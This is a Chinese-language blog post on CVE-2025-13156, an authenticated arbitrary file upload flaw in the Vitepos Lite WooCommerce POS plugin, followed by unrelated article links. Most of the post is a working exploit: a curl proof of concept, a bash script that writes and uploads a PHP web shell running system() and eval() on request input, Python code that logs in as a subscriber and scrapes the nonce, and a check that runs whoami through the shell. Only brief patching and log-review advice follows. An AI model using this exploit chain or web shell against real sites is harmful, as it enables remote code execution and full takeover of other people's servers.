CVE-2025-13156 - Vitepos WooCommerce 的销售(POS) 系统漏洞

CVE-2025-13156 - Vitepos 漏洞 -- WooCommerce 的销售点 (POS) 系统

受影响版本

产品:Vitepos -- WooCommerce 的销售点 (POS) 系统

版本:≤ v3.3.0

网址:https://wordpress.org/plugins/vitepos-lite/

CVE-2025-13156 --- 已认证(订阅者+)任意文件上传

受影响组件:网站服务器

攻击途径:在受影响网站的服务器上上传任意文件。

触发:这使得拥有订阅者级别及以上访问权限的已认证攻击者能够在受影响站点的服务器上上传任意文件,从而实现远程代码执行。

复制代码
\  'http://localhost:8080/wp-json/vitepos/v1/product/add-category' \  
-H 'Cookie: wordpress_logged_in_<your_hash>=<your_cookie>' \
-H 'X-WP-Nonce: <your_nonce>' \ 
-F 'category_name=evil' \  
-F 'category_parent=0' \  
-F 'category_description=PoC-shell' \  
-F 'category_image=@./shell.php;filename="shell.php";type=application/octet-stream'

核心问题

  1. 权限验证缺失 :REST端点仅检查is_user_logged_in(),未验证用户是否具有管理产品分类的权限

  2. 文件类型过滤不严:未对上传文件类型进行严格限制,允许上传PHP等可执行文件

影响:任何已认证用户(包括订阅者等低权限角色)都可以通过暴露的 Vitepos Lite REST 端点将任意文件上传到 wp-content/uploads/// 目录。在已启用 PHP 执行(或可通过上传配置文件重新启用)的服务器上,这会导致远程代码执行;即使执行被阻止,攻击者仍可通过上传的 HTML/SVG 文件托管恶意载荷或构造存储型 XSS 攻击。这实际上赋予了任何已登录用户任意文件写入权限。

该插件的 REST 路由位于 /wp-json/vitepos/v1/product/... 下,依赖于宽松的权限检查,实际上会接受任何已登录用户(is_user_logged_in()),而忽略调用者是否为 POS 用户或是否具有管理产品条款的权限。因此,低权限角色(例如,订阅者)也可以访问诸如 add-category/update-category 之类的端点。

公开POC内容

复制代码
curl -k \
  'http://localhost:8080/wp-json/vitepos/v1/product/add-category' \
  -H 'Cookie: wordpress_logged_in_<your_hash>=<your_cookie>' \
  -H 'X-WP-Nonce: <your_nonce>' \
  -F 'category_name=evil' \
  -F 'category_parent=0' \
  -F 'category_description=PoC-shell' \
  -F 'category_image=@./shell.php;filename="shell.php";type=application/octet-stream'

完整漏洞利用POC

复制代码
#!/bin/bash

# CVE-2025-13156 漏洞利用脚本
# 针对 Vitepos Lite ≤ v3.3.0 的任意文件上传漏洞

TARGET="http://target-site.com"
COOKIE="wordpress_logged_in_hash=your_cookie_value"
NONCE="your_nonce_value"

# 创建恶意PHP文件
cat > /tmp/shell.php << 'EOF'
<?php
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
if(isset($_POST['code'])) {
    eval($_POST['code']);
}
echo "Vitepos Shell";
?>
EOF

# 通过add-category端点上传Web Shell
curl -k -X POST \
  "${TARGET}/wp-json/vitepos/v1/product/add-category" \
  -H "Cookie: ${COOKIE}" \
  -H "X-WP-Nonce: ${NONCE}" \
  -F "category_name=exploit" \
  -F "category_parent=0" \
  -F "category_description=Pwned" \
  -F "category_image=@/tmp/shell.php"

echo "检查上传结果: ${TARGET}/wp-content/uploads/vitepos/category/shell.php"

完整利用链路补充

步骤1:获取必要的认证信息

复制代码
import requests
import re

def get_wp_details(target_url):
    """获取WordPress nonce和cookie"""
    
    # 1. 登录获取cookie (需要有效凭证)
    session = requests.Session()
    login_data = {
        'log': 'subscriber_user',  # 订阅者账号
        'pwd': 'password',
        'wp-submit': 'Log In'
    }
    response = session.post(f"{target_url}/wp-login.php", data=login_data)
    
    # 2. 从页面中提取nonce
    response = session.get(f"{target_url}/wp-admin/")
    nonce_match = re.search(r'\"nonce\":\"([a-f0-9]+)\"', response.text)
    nonce = nonce_match.group(1) if nonce_match else None
    
    return session.cookies, nonce

步骤3:验证利用成功

复制代码
def verify_exploit(target_url, cookies):
    """验证Web Shell是否成功上传并执行"""
    
    # 尝试访问上传的shell
    shell_url = f"{target_url}/wp-content/uploads/vitepos/category/shell.php"
    
    # 测试命令执行
    test_response = requests.get(
        f"{shell_url}?cmd=whoami",
        cookies=cookies,
        verify=False
    )
    
    if "www-data" in test_response.text or "root" in test_response.text:
        print("[+] 漏洞利用成功!获得RCE权限")
        return True
    else:
        print("[-] 漏洞利用可能失败")
        return False

修复建议

  1. 升级到安全版本:更新至 Vitepos v3.3.1 或更高版本

  2. 文件检查 :扫描wp-content/uploads/vitepos/category/目录中的可疑文件

  3. 访问日志监控:检查对可疑PHP文件的访问记录

相关推荐
千里马学框架2 天前
一起学 Android 14:ShellTransition 屏幕旋转过程深度剖析
android·智能手机·性能优化·framework·性能·屏幕旋转·rotation
美狐美颜SDK开放平台2 天前
开发直播APP时如何接入视频美颜SDK?开发流程与注意事项
android·人工智能·计算机视觉·音视频·直播美颜sdk
AFinalStone2 天前
Android7 SystemUI源码解析(七)Keyguard锁屏模块深度解析
android·systemui
致远ccc2 天前
Google Play 上架前如何测试 App?多国家 Android 环境测试
android·app测试·googleplay·多国家应用测试
ttyyttemo2 天前
Kotlin 协程中的 Job 结构化并发与取消
android
sun0077002 天前
tbox 4g/5g切换,导致wan ip 改变,导致车机旧网络不可用。需要重启车机才行
android
其实防守也摸鱼2 天前
内网穿透与反向代理:原理、工具与实战指南
android·大数据·运维·安全·网络安全·自动化·渗透
AFinalStone2 天前
Android7 SystemUI 源码解析(四)NavigationBar 导航栏与 SystemBars
android·systemui
JMchen2 天前
属性动画原理与高级动画实现
android·kotlin·canvas
AFinalStone2 天前
Android7 SystemUI 源码解析(二)启动流程深度解析
android·systemui